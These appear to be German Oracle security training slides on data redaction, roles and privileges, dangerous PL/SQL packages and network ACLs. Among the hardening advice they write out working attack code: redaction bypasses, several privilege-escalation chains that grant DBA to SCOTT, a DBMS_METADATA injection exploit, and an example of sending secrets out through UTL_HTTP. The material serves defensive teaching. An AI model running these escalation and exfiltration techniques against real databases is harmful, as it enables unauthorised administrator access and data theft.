Macht aus: 1234-1234-1234-1234 => XXXX-XXXX-1234 Stichwörter: DBMS_REDACT; Beispiel Security I 1 - 27 Probleme mit DBMS_REDACT Sie können sowohl in der WHERE wie auch in der HAVING Bedingung nach geschützten Werten fragen SELECT * FROM scott.credit_card WHERE card_id='1234-1234-1234-1234'; CUST_NAME ---------Marco CARD_ID ------------------XXXX-XXXX-XXXX-1234 Die verschleierten Werte spiegeln sich auch in (Gruppen) Funktionen wider. Zufallswerte (RANDOM) können sehr verwirrend wirken. MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 28 Bei installierter Multi-Media Option geht auch: select * from scott.credit_card where 1=ordsys.ord_dicom.getmappingxpath((card_id),user,user); ERROR at line 1: ORA-53044: invalid tag: 1234-1234-1234-1234 ORA-06512: at "ORDSYS.ORDERROR", line 5 Security I 1 - 28 Security Bug in 12.1.0.1 Leider hat Oracle vergessen die Returning Klausel beim Update in die Redaction einzubeziehen. Bug wurde in 12.1.0.2 gefixt ! (9.9.2014) DECLARE S VARCHAR2(100); BEGIN UPDATE credit_card SET cust_name=cust_name WHERE cust_name='Marco' RETURNING card_id INTO s; dbms_output.put_line(s); END; =>1234-1234-1234-4444 MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 29 Security I 1 - 29 Kapitel 2 Rechte & Rollen Security I 2 - 1 Einleitung Oracle´s Rechte und Rollenverwaltung ist schwer zu überblicken über 36.000 Rechte in 12.1 sind allein an Public vergeben (davon ca. 30.000 Java Rechte) Rechte können nicht nur direkt, sondern auch indirekt vergeben werden MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Security I 2 - 2 Security I 2 - 2 Einleitung (f) Durch die stetige Erweiterung der Rechte und Rollenverwaltung werden immer neue Sicherheitslücken aufgerissen. Viele Benutzer sind sich nicht im Klaren, welche Auswirkung diverse Rechte haben Besondere Vorsicht ist angebracht bei Rechten, die an Public vergeben wurden, bzw. Rechte mit dem ANYPrivileg MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 3 UNLIMITED TABLESPACE bedeutet, dass der Benutzer auf JEDEM Tablespace beliebig viel Platz verwenden darf. Dieses Recht ist bei der Rolle RESOURCE und DBA dabei! Die RESOURCE Rolle sollte deshalb nicht mehr benutzt werden. Sie können eine eigene Ressource Rolle definieren, die ohne UNLIMITED TABLESPACE angelegt wird. Die DBA Rolle sollte nur an ausgewählte Benutzer vergeben werden. Entwickler sollten ggf. eine eigens definierte Rolle mit den gewünschten Rechten bekommen. Stichwörter: Security I 2 - 3 Rechte bei Rollen Achten Sie bei der Vergabe von Rechten auf folgende Punkte UNLIMITED TABLESPACE bedeutet, dass der Benutzer auf JEDEM Tablespace beliebig viel Platz verwenden darf. Dieses Recht ist bei der Rolle RESOURCE (bis 11.2) und DBA dabei! Die RESOURCE Rolle sollte nicht mehr benutzt werden Definieren Sie sich eine eigene Rolle mit folgenden Rechten: CREATE TYPE evtl. CREATE OPERATOR CREATE TABLE evtl. CREATE CLUSTER CREATE SEQUENCE evtl. CREATE TRIGGER CREATE INDEXTYPE evtl. CREATE PROCEDURE MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rechte bei Rollen, UNLIMITED TABLESPACE, RESOURCE Security I 2 - 4 Security I 2 - 4 Rechte mit ANY Alle Privilegien mit einem ANY im Namen können auf jedem Schema angewendet werden z. B.: DROP ANY TABLE SELECT ANY TABLE GRANT ANY PRIVILEGE DROP ANY PROCEDURE EXECUTE ANY PROCEDURE Vergeben Sie diese Rechte nur mit äußerster Vorsicht MuniQSoft GmbH ALTER ANY CLUSTER ALTER ANY DIMENSION ALTER ANY INDEX ALTER ANY INDEXTYPE ALTER ANY LIBRARY ALTER ANY OUTLINE ALTER ANY PROCEDURE ALTER ANY ROLE ALTER ANY SEQUENCE ALTER ANY SNAPSHOT ALTER ANY TABLE ALTER ANY TRIGGER ALTER ANY TYPE ANALYZE ANY AUDIT ANY BACKUP ANY TABLE COMMENT ANY TABLE CREATE ANY CLUSTER CREATE ANY CONTEXT CREATE ANY DIMENSION CREATE ANY DIRECTORY CREATE ANY INDEX CREATE ANY INDEXTYPE CREATE ANY LIBRARY Kapitel 2 - Rechte & Rollen CREATE ANY OPERATOR CREATE ANY OUTLINE CREATE ANY PROCEDURE CREATE ANY SEQUENCE CREATE ANY SNAPSHOT CREATE ANY SYNONYM CREATE ANY TABLE CREATE ANY TRIGGER CREATE ANY TYPE CREATE ANY VIEW DELETE ANY TABLE DEQUEUE ANY QUEUE DROP ANY CLUSTER DROP ANY CONTEXT DROP ANY DIMENSION DROP ANY DIRECTORY DROP ANY INDEX DROP ANY INDEXTYPE DROP ANY LIBRARY DROP ANY OPERATOR DROP ANY OUTLINE DROP ANY PROCEDURE DROP ANY ROLE DROP ANY SEQUENCE Security I 2 - 5 DROP ANY SNAPSHOT DROP ANY SYNONYM DROP ANY TABLE DROP ANY TRIGGER DROP ANY TYPE DROP ANY VIEW ENQUEUE ANY QUEUE EXECUTE ANY INDEXTYPE EXECUTE ANY LIBRARY EXECUTE ANY OPERATOR EXECUTE ANY PROCEDURE EXECUTE ANY TYPE EXTENDS ANY TYPE FORCE ANY TRANSACTION GRANT ANY PRIVILEGE GRANT ANY ROLE INSERT ANY TABLE LOCK ANY TABLE MANAGE ANY QUEUE SELECT ANY SEQUENCE SELECT ANY TABLE UPDATE ANY TABLE Mittels des ALTER SESSION Rechts ist es möglich, Trace-Dateien zu erzeugen, in denen dann sensible Daten stehen können. So könnte man z. B. die sensiblen Daten eines Benutzers in einer Trace-Datei finden. Entweder entziehen Sie den Benutzern dieses Recht, oder Sie schützen das User Dump Verzeichnis (meist <ORACLE_HOME> /admin/<sid>/udump) weil die Trace-Dateien dorthin abgelegt werden. Der undokumentierte Parameter _TRACE_FILES_PUBLIC sollte nicht auf TRUE gesetzt sein, weil sonst die Trace-Dateien leichter von fremden Benutzern gelesen werden können Stichwörter:Rechte, ANY Security I 2 - 5 Gefährliche Rechte System-Recht Beschreibung ALTER USER Mit diesem Recht können die Passwörter von anderen Benutzen geändert werden (auch SYS!) Dieses Recht ist nur in der DBA-Rolle vorhanden ALTER SESSION Damit können Parameter für die Session manipuliert werden (z.B. sort_area_size) oder ALTER SESSION SET current_schema=SYS; Damit kann man einfacher auf SYS-Objekte zugreifen (wenn man die Leserechte daran besitzt) CREATE LIBRARY Mit diesem Recht können Sie Bibliotheken z.B. basierend auf Windows C-Dll´s erstellen Dieses Recht ist nur in der DBA-Rolle vorhanden CREATE ANY DIRECTORY Damit kann ein Verzeichnis angelegt werden, in das man dann Daten schreibt (External Tables (10g), Datapump (10g) Ab Version 9.2 benutzt auch utl_file Directories Dieses Recht ist in der DBA und EXP_FULL_DATABASE Rolle enthalten Achtung hiermit könnten z.B. Datendateien/Redologdateien oder Controldateien überschrieben werden MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 6 Beispiel zur Library Zuerst muss der Listener angepasst werden (SID_DESC = (SID_NAME = PLSExtProc) (ORACLE_HOME = d:\oracle\ora102) (PROGRAM = extproc) (ENVS="EXTPROC_DLLS=ANY") ) Für Testzwecke kann die flexiblere aber unsichere Einstellung verwendet werden: • (ENVS="EXTPROC_DLLS=ANY") Aus Sicherheitsgründen sollte aber nur ein Verzeichnis/DLL angegeben werden • (ENVS="EXTPROC_DLLS=c:\oracle\ora102\lib\pcporacle.dll") bzw. zwei • (ENVS="EXTPROC_DLLS=c:\oracle\ora102\lib\myoracle.dll:c:\work\myin house.dll") Danach wird die TNSNAMES.ORA editiert EXTPROC_CONNECTION_DATA = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0)) ) (CONNECT_DATA = (SID = PLSExtProc) (PRESENTATION = RO) ) ) Es muss eine sogenannte Library erzeugt werden, in der dann die DLL liegt: • CREATE LIBRARY ExternProcedures AS 'c:\winnt\system32\projekt1.dll'; / Stichwörter: Gefährliche Rechte, CREATE LIBRARY, CREATE ANY DIRECTORY Security I 2 - 6 Gefährliche Rechte System-Recht Beschreibung CREATE USER Anlegen eines Benutzers mit DBA Rechten Dieses Recht ist in der DBA-Rolle enthalten BECOME USER Hiermit können Sie die Objekte eines fremden Benutzers beim Import in Ihr Schema einspielen Dieses Recht ist in der DBA und IMP_FULL_DATABASE Rolle enthalten CREATE JOB Dieses Recht gestattet die Ausführung von Jobs zu einer beliebigen Tageszeit Dieses Recht ist in der DBA und EXP_FULL_DATABASE Rolle enthalten Ab Version 10g gibt es noch ein Zusatzrecht (MANAGE SCHEDULE) mit dem der Zeitplan eingestellt werden kann CREATE EXTERNAL JOB Ausführen eines externen Jobs (z.B. mkdir, rm, del, …) CREATE DATABASE LINK Ist in der DBA Rolle enthalten und ermöglicht die Verbindung zu einer Remote Datenbank Passwörter der DB Links sind schlecht verschlüsselt!!! EXECUTE ANY PROCEDURE Beliebige Prozeduren von fremden Benutzern ausführbar wie z.B.: exec dbms_repcat_admin.grant_admin_any_schema( 'OUTLN'); /* Vergibt DBA Rechte an OUTLN*/ exec utl_file, utl_smtp, utl_mail , .... MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 7 Stichwörter: Gefährliche Rechte, CREATE LIBRARY, CREATE ANY DIRECTORY, CREATE DATABASE LINK, EXECUTE ANY PROCEDURE Security I 2 - 7 Gefährliche Rechte System-Recht Beschreibung SELECT ANY DICTIONARY Damit können Tabellen aus den Data Dictionary angesehen werden Dieses Recht kann jedoch nicht über den GRANT ALL PRIVILEGES Befehl vergeben werden EXEMPT ACCESS POLICY Damit können die Policies des dbms_fga Package umgangen werden SELECT ANY TRANSACTION Erlaubt das Zurücksetzen einer Transaktion mittels Flashback. Vor Version 10g war der Name FLASHBACK ANY TRANSACTION. FLASHBACK ANY TABLE Erlaubt das Zurücksetzen einer Tabelle auf einen alten Stand mittels Flashback, ohne dass ein Backup eingespielt werden muss MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter:Gefährliche Rechte, GRANT ANY PRIVILEGE, GRANT ANY PRIVILEGE Security I 2 - 8 Security I 2 - 8 Privilegien-Eskalation Vorhandene Rechte: EXECUTE ANY PROCEDURE + CREATE ANY PROCEDURE CREATE OR REPLACE PROCEDURE system.getdba AS BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT'; END; EXEC SYSTEM.getdba; SET Role dba; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 9 Security I 2 - 9 Privilegien-Eskalation (f) Vorhandene Rechte: CREATE ANY TRIGGER GRANT EXECUTE on getdba TO system; CREATE OR REPLACE TRIGGER system.ol$itr BEFORE INSERT ON system.ol$ FOR EACH ROW BEGIN scott.getdba; END; INSERT INTO system.ol$(category) VALUES ('X'); SET Role dba; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 10 Security I 2 - 10 Privilegien-Eskalation (ff) Vorhandene Rechte: CREATE ANY INDEX und CREATE PROCEDURE CREATE OR REPLACE FUNCTION scott.getdba( x CHAR) RETURN varchar2 deterministic authid current_user AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT'; RETURN upper(x); END; GRANT execute on getdba to system; CREATE INDEX system.ol$inddba ON system.ol$(scott.getdba(version)); --FBI INSERT INTO system.ol$(version) values ('x'); SET Role dba; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 11 Security I 2 - 11 Privilegien-Eskalation (ff) Vorhandene Rechte: ANALYZE ANY CREATE OR REPLACE FUNCTION getdba (x char) return char deterministic AUTHID current_user IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT'; RETURN upper(x); END; BEGIN dbms_stats.gather_table_stats('SYSTEM','HELP', method_opt=>'for columns (scott.getdba(info)) size auto')); END; SET ROLE DBA MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 12 Security I 2 - 12 ADMIN OPTION Sie können bei Rechten auch immer angeben, dass dieses Recht auch weiter gegeben werden kann Bei System-Rechten: GRANT SELECT ANY TABLE TO scott WITH ADMIN OPTION; Bei Objekt-Rechten GRANT SELECT ON emp TO scott WITH GRANT OPTION; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter:ADMIN OPTION Security I 2 - 13 Security I 2 - 13 Public Rechte (ff) Der Benutzer PUBLIC sollte über möglichst wenig Rechte verfügen, da ein Hacker der einen beliebigen Account geknackt hat, dann diese Rechte bekommt Vergeben Sie nicht die Rolle RESOURCE an PUBLIC, da sie bis 11.2.0.4 über das Recht UNLIMITED_TABLESPACE verfügt! Mit folgendem SELECT wird geprüft, welche System-Rechte an Public vergeben wurden: SELECT * FROM dba_sys_privs WHERE grantee = 'PUBLIC'; Objektrechte an Public vergeben: SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC'; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 14 Eigentlich gibt es keinen Benutzer Public, denn ein Anmelden an der Datenbank unter diesem Namen scheitert. Jedoch wird er innerhalb wie ein virtueller Benutzer gehandhabt, da er der Empfänger von Rechten sein kann. Rechte, die an Public vergeben worden sind, bekommen alle Benutzer beim Anmelden. Deshalb sollte er über möglichst wenig Rechte verfügen, da ein Hacker, der einen beliebigen Account geknackt hat, dann diese Rechte auch bekommt. SQL> GRANT RESOURCE TO public; Benutzerzugriff (Grant) wurde erteilt. SQL> SELECT * FROM dba_sys_privs WHERE grantee = 'PUBLIC'; GRANTEE PRIVILEGE ADM -------------------------------------------------PUBLIC UNLIMITED TABLESPACE NO Hier wird geprüft, welche Rollen an Public vergeben worden sind: SQL> SELECT * FROM dba_role_privs WHERE grantee = 'PUBLIC'; GRANTE GRANTED_ROLE ADM DEF --------------- --------------------------------------PUBLIC RESOURCE NO YES SQL> SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC'; GRANTEE OWNER TABLE_NAME GRANTOR ------------------------ -------------------------------------------------PUBLIC SYS USER_PART_TABLES SYS PUBLIC SYS ALL_PART_TABLES SYS PUBLIC SYS USER_PART_INDEXES SYS … Rechte von Public werden mittels Revoke entzogen, Beispiel: REVOKE CONNECT FROM public; Stichwörter: Rechte Security I 2 - 14 PUBLIC Rechte entziehen REVOKE EXECUTE ON utl_smtp FROM public; REVOKE EXECUTE ON utl_file FROM public; REVOKE EXECUTE ON utl_http FROM public; REVOKE EXECUTE ON utl_tcp FROM public; REVOKE EXECUTE ON dbms_random FROM public; REVOKE EXECUTE ON dbms_metadata FROM public; REVOKE EXECUTE ON dbms_mail FROM public; Dafür Rechte explizit an die Benutzer: GRANT EXECUTE ON dbms_mail to SCOTT; … MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 15 Allgemeine Syntax: Rechte werden entzogen mittels: • REVOKE EXECUTE ON <package> FROM public; Vergeben wieder mittels: • GRANT EXECUTE ON <package> TO public; Alternativ können die Rechte in einer neuen Rolle gebündelt werden, die dann im Notfall einem Benutzer zugewiesen wird: CREATE ROLE DBA_DBMS_PACK; GRANT EXECUTE ON UTL_FILE TO DBA_DBMS_PACK; GRANT EXECUTE ON UTL_TCP TO DBA_DBMS_PACK; Stichwörter: PUBLIC Rechte entziehen Security I 2 - 15 Gefährliche Packages DBMS_XMLSTORE Ermöglicht das Eintragen von Zeilen in andere Tabellen So könnte man sich zusätzliche Rechte geben, durch Manipulation der sys.sysauth$ Tabelle Lösung EXECUTE Rechte von Public entziehen und ggf. einer Rolle oder einem Benutzer direkt geben REVOKE EXECUTE ON dbms_xmlstore FROM PUBLIC; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 16 Security I 2 - 16 Gefährliche Packages UTL_HTTP Damit können Webseiten angefordert und empfangen werden. Sie können natürlich auch mittels CGI-Parameter Werte an eine Webseite übermitteln http://www.muniqsoft.de?para1=Geheime_Nachrich t_aus_der_oracle_db_passwort_sys_erzuezru Hinweis: Ab 11g verhindert eine Firewall eine Portzugriff auf andere Server MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 17 Beispiel: declare t_result varchar2(4000); begin t_result := utl_http.request('http://www.muniqsoft.de'); end; / REM oder mit einer PL/SQL Tabelle in der die Zeilen gespeichert werden declare t_part utl_http.html_pieces; begin t_part := utl_http.request_lines('http://www.muniqsoft.de/index.html'); for i in 1 .. t_part.count loop -- proces t_part(i); end loop; end; / Stichwörter: Gefährliche Packages, UTL_HTTP Security I 2 - 17 Gefährliche Packages UTL_TCP Daten können via TCP gesendet oder empfangen werden (siehe Beispiel) Testen wer welche Rechte auf dem Package besitzt: SELECT * FROM dba_tab_privs WHERE table_name='UTL_TCP'; Hinweis: Ab 11g verhindert eine Firewall eine Portzugriff auf andere Server MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 18 Beispiel: CREATE OR REPLACE PROCEDURE SEND_MAIL_TCP ( msg_from VARCHAR2 := '[email protected]' , msg_to VARCHAR , msg_subject VARCHAR2 := 'Nachrichtenüberschrift' , msg_text VARCHAR2 := '' ) IS c UTL_TCP.CONNECTION; rc INTEGER; BEGIN c := UTL_TCP.OPEN_CONNECTION('localhost', 25);-- SMTP Port (lokal öffnen) rc := UTL_TCP.WRITE_LINE(c, 'HELO localhost'); rc := UTL_TCP.WRITE_LINE(c, 'MAIL FROM: '||msg_from); rc := UTL_TCP.WRITE_LINE(c, 'RCPT TO: '||msg_to); rc := UTL_TCP.WRITE_LINE(c, 'DATA'); -- Start message body rc := UTL_TCP.WRITE_LINE(c, 'Subject: '||msg_subject); rc := UTL_TCP.WRITE_LINE(c, ''); rc := UTL_TCP.WRITE_LINE(c, msg_text); rc := UTL_TCP.WRITE_LINE(c, '.'); -- End of message body rc := UTL_TCP.WRITE_LINE(c, 'QUIT'); UTL_TCP.CLOSE_CONNECTION(c); -- Close the connection EXCEPTION WHEN others THEN RAISE_APPLICATION_ERROR(-20000, 'Nachricht konnte nicht versendet werden'); END; / show errors EXEC SEND_MAIL_TCP ( msg_to => '[email protected]' , msg_text => 'Das ist eine Email via utl_tcp'); Stichwörter:Gefährliche Packages, UTL_TCP Security I 2 - 18 Gefährliche Packages UTL_SMTP Mit diesem Package können z.B. Emails verschickt werden (siehe Beispiel) Ab der Version 10g wird die Versendung von emails weiter vereinfacht mittels des Packages dbms_mail Hinweis: Ab 11g verhindert eine Firewall eine Portzugriff auf andere Server MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 19 Beispiel: DECLARE v_sender VARCHAR2(2000) := '[email protected]'; v_rec VARCHAR2(2000) := '[email protected]'; v_host VARCHAR2(2000) := '10.12.0.16'; v_con UTL_SMTP.connection; crlf VARCHAR2(2) := chr(13)||chr(10); BEGIN dbms_output.put_line('Starte Emailversand an:'||v_rec); v_con := UTL_SMTP.open_connection(v_host, 25); UTL_SMTP.helo(v_con, v_host); UTL_SMTP.mail(v_con, v_sender); UTL_SMTP.rcpt(v_con, v_rec); UTL_SMTP.open_data(v_con); UTL_SMTP.write_data(v_con,'To: '||v_rec||'<'||v_rec||'>'||crlf); UTL_SMTP.write_data(v_con,'Subject: Hallo Welt'||crlf); UTL_SMTP.write_data(v_con,'Zeile1'||crlf); UTL_SMTP.write_data(v_con,'Zeile2'||crlf); UTL_SMTP.close_data(v_con); UTL_SMTP.quit(v_con); dbms_output.put_line('Emailversand abgeschlossen'); EXCEPTION WHEN others THEN UTL_SMTP.quit(v_con); DBMS_OUTPUT.put_line(sqlerrm) ; END; / Stichwörter: Gefährliche Packages, UTL_SMTP Security I 2 - 19 Gefährliche Packages UTL_FILE Dieses Package ermöglicht den lesenden oder schreibenden Zugriff auf Dateien im Betriebssystem Beispiel: CREATE OR REPLACE DIRECTORY temp AS 'C:\TEMP'; EXEC UTL_FILE.FREMOVE('TEMP', '<datei>') Gefahr ist hier groß, da ein EXECUTE RECHT an PUBLIC existiert Auf keinen Fall den Parameter utl_file_dir auf '*' setzen Mögliche Angriffe: Lesen der Passwort-Datei Erzeugen/ergänzen der autoexec.bat Datei unter Windows Erzeugen/ergänzen der .rhost Datei unter Unix Überschreiben von Log-. Daten-, oder Controldateien MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Gefährlihe Packages UTL_FILE Security I 2 - 20 Security I 2 - 20 Gefährliche Packages DBMS_METADATA Dieses Package wird für Reverse Engineering Zwecke verwendet. Es kann CREATE TABLE oder CREATE INDEX Befehle für die bestehenden Objekte erzeugen Leider hat es einen Bug, mit dem ein Angreifer DBA Rechte erlangen kann Gefahr ist hier hoch da die EXECUTE Rechte an Public vergeben worden sind SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC' and table_name='DBMS_METADATA'; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 21 CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN ''; END; / SELECT SYS.DBMS_METADATA.GET_DDL( '''||SCOTT.ATTACK_FUNC()||''','') FROM dual; Stichwörter: Gefährliche Packages, DBMS_METADATA Security I 2 - 21 Ports sperren/freigeben (ab 11g) Wenn über die folgenden Packages kommuniziert wird, besteht immer das Risiko, dass Daten aus der DB gestohlen werden UTL_SMTP UTL_HTTP UTL_TCP Ab 11g lassen sich nun diverse Ports sperren bzw. freigeben MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 22 Security I 2 - 22 Ports sperren/freigeben (ab 11g) Neue Direktive mit Namen utl_sec_pkg.xml erzeugen begin dbms_network_acl_admin.create_acl ( acl => 'utl_sec_pkg.xml', description => 'Normal Access', principal => 'CONNECT', is_grant => TRUE, privilege => 'connect', start_date => null, end_date => null ); end; / MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 23 Security I 2 - 23 Ports sperren/freigeben (ab 11g) Benutzer Scott in die Direktive eintragen begin dbms_network_acl_admin.add_privilege ( acl => 'utl_sec_pkg.xml', principal => 'SCOTT', is_grant => TRUE, privilege => 'connect', start_date => null, end_date => null); end; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 24 Security I 2 - 24 Ports sperren/freigeben (ab 11g) Ports von 22 bis 55 freigeben begin dbms_network_acl_admin.assign_acl ( acl => 'utlpkg.xml', host => 'www.muniqsoft.de', lower_port => 22, upper_port => 55); end; MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 25 Security I 2 - 25 Ports sperren/freigeben (ab 11g) Test: SELECT utl_http.request('http://www.muniqsoft.de') FROM dual; * ERROR at line 1: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-24247: network access denied by access control list (ACL) ORA-06512: at line 1 MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 26 Security I 2 - 26 Fine Grain Access ab 12c Bisher wurden ACLs für die Freigabe der Benutzung von fremden Servern/Ports verwendet. Neue Packageaufrufe vereinfachen diese Aufgabe nun. Folgende neue Views stehen zur Verfügung DBA_HOST_ACLS USER_HOST_ACES und DBA_HOST_ACES Übliche Fehlermeldung, wenn ACLs nicht gesetzt sind ORA-29273: HTTP-Anforderung nicht erfolgreich ORA-06512: in "SYS.UTL_HTTP", Zeile 1817 ORA-24247: Netzwerkzugriff von Access Control-Liste (ACL) abgelehnt ORA-06512: in "SYS.HTTPURITYPE", Zeile 41 MuniQSoft GmbH Kapitel 4 - Security Alte DBMS_NETWORK_ACL_ADMIN Prozedur Ora12c 4-27 Neue entsprechende Proceduren CREATE_ACL ADD_PRIVILEGE ASSIGN_ACL ASSIGN_WALLET_ACL APPEND_HOST_ACE APPEND_WALLET_ACE N/A N/A APPEND_HOST_ACL APPEND_WALLET_ACL REMOVE_HOST_ACE REMOVE_WALLET_ACE DELETE_PRIVILEGE DROP_ACL UNASSIGN_ACL UNASSIGN_WALLET_ACL CHECK_PRIVILEGE CHECK_PRIVILEGE_ACLID N/A N/A Keine vorhanden Keine vorhanden SET_HOST_ACL SET_WALLET_ACL Stichwörter: ACL Security I 2 - 27 DBMS_NETWORK_ACL_ADMIN ab 12c Prozedurname Funktion APPEND_HOST_ACE Neuen Host zur Freigabeliste hinzufügen APPEND_WALLET_ACE Walletbenutzung freigeben REMOVE_HOST_ACE Host von Freigabeliste entfernen REMOVE_WALLET_ACE Freigabe für Walletbenutzung zurücknehmen SET_HOST_ACL Neue Portfreigabe für Host und Ports definieren. Sollten vom Benutzer nicht manuell gesetzt werden SET_WALLET_ACL Einsetzen der ACL für ein Wallet. Sollten vom Benutzer nicht manuell gesetzt werden MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-28 Hinweis: Manuelles Hinzufügen von Portfreigaben zu einer existierenden ACL: SELECT host,acl FROM DBA_HOST_ACLS; => www.muniqsoft.de NETWORK_ACL_E12C7B39D3AF1DB9E0430100007FFC4F BEGIN DBMS_NETWORK_ACL_ADMIN.SET_HOST_ACL ( host=>'www.muniqsoft.de', lower_port=>81, upper_port=>null, acl=>'NETWORK_ACL_E12C7B39D3AF1DB9E0430100007FFC4F'); END; Stichwörter: ACL Security I 2 - 28 Beispiel zu APPEND_HOST_ACE (12c) BEGIN DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE( host => 'www.muniqsoft.de', lower_port => 80, -- Portnummer upper_port => NULL, ace => xs$ace_type( privilege_list => xs$name_list('http'), principal_name => 'SCOTT', principal_type => xs_acl.ptype_db)); END; Hinweis: Wenn upper_port=NULL gilt lower_port=upper_port MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-29 Syntax DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACL ( host IN VARCHAR2, lower_port IN PLS_INTEGER DEFAULT NULL, upper_port IN PLS_INTEGER DEFAULT NULL, acl IN VARCHAR2); Stichwörter: ACE Security I 2 - 29 Parameter zu APPEND_HOST_ACE (12c) Privilege List kann sein 'smtp' Zugriff nur via UTL_SMTP und UTL_MAIL 'http' Zugriff via UTL_HTTP Package und HttpUriType 'http_proxy' Zugriff via UTL_HTTP Package und HttpUriType wenn über einen Proxy kommuniziert wird 'connect' Zugriff via UTL_TCP, UTL_SMTP, UTL_MAIL, UTL_HTTP, und DBMS_LDAP Packages, der dem Typ HttpUriType Principal Name kann sein Ein Datenbankbenutzer (z.B. SCOTT) Eine Rolle (z.B. MY_APP_ROLE) Principal Type kann sein XS_ACL.PTYPE_DB für Datenbankbenutzer/Rolle XS_ACL.PTYPE_XS Für Real Application Security Benutzer MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-30 Stichwörter: ACE Security I 2 - 30 Beispiel zu REMOVE_HOST_ACE (12c) BEGIN DBMS_NETWORK_ACL_ADMIN.REMOVE_HOST_ACE ( host => 'www.muniqsoft.de', lower_port => 80, upper_port => null, ace => xs$ace_type( privilege_list => xs$name_list('http'), principal_name => 'SCOTT', principal_type => xs_acl.ptype_db), remove_empty_acl => TRUE); END; MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-31 Syntax DBMS_NETWORK_ACL_ADMIN.REMOVE_HOST_ACE ( host IN VARCHAR2, lower_port IN PLS_INTEGER DEFAULT NULL, upper_port IN PLS_INTEGER DEFAULT NULL, ace IN XS$ACE_TYPE, remove_empty_acl IN BOOLEAN DEFAULT FALSE); Stichwörter: ACE Security I 2 - 31 ACL Views SELECT acl_owner, host, lower_port, upper_port FROM dba_host_acls; SELECT * FROM dba_host_aces; MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-32 Stichwörter: ACL; View Security I 2 - 32 12c: DBMS_PRIVILEGE_CAPTURE (EE +DV Opt.) Die Recht von Usern kann man sich leicht über die diversen Data Dictionary-Views oder DBMS_METADATA.GET_GRANTED_DDL anzeigen Das in 12c neue Package DBMS_PRIVILEGE_CAPTURE ermöglicht darüber hinaus einen Vergleich der vergebenen Rechte und Rollen mit denen, die wirklich benutzt werden, so dass man die Rechtevergabe besser maßschneidern und minimieren kann. Benötigte Rechte: CAPTURE_ADMIN Rolle Benötigte Lizenz: EE + Database Vault Option MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: PRIVILEGE, DBMS_PRIVILEGE_CAPTURE Security I 2 - 33 Security I 2 - 33 Ablauf der Rechteerfassung 1. Sie sagen, was Sie aufzeichnen wollen: DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE 2. Sie starten die Aufzeichnung DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE 3. Sie führen Ihre Aufgaben in der DB mit dem gewünschten Benutzer aus 4. Sie Stoppen die Aufzeichnung DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE 5. Die Reporterzeugung wird angestoßen DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT 6. Sie können die Auswertung beginnen dba_used_privs MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Stichwörter: Rechteerfassung Security I 2 - 34 Security I 2 - 34 CREATE_CAPTURE-Prozedur Syntax DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE ( name VARCHAR2, description VARCHAR2 DEFAULT NULL, -- max 1024 Zeichen type NUMBER DEFAULT G_DATABASE, roles ROLE_NAME_LIST DEFAULT ROLE_NAME_LIST(), condition VARCHAR2 DEFAULT NULL); Parameter Type kann folgende Werte annehmen: g_database: Ermittelt die Verwendung aller Rechte der DB (außer SYS) g_role: Ermittelt die Verwendung eines Rechts, das Bestandteil einer gegegeben Rolle oder Liste von Rollen ist. g_context: Ermittelt die Verwendung eines Rechts in einem bestimmten Context, der durch den Parameter condition beschrieben wird g_role_and_context: Kombination von g_role und g_context 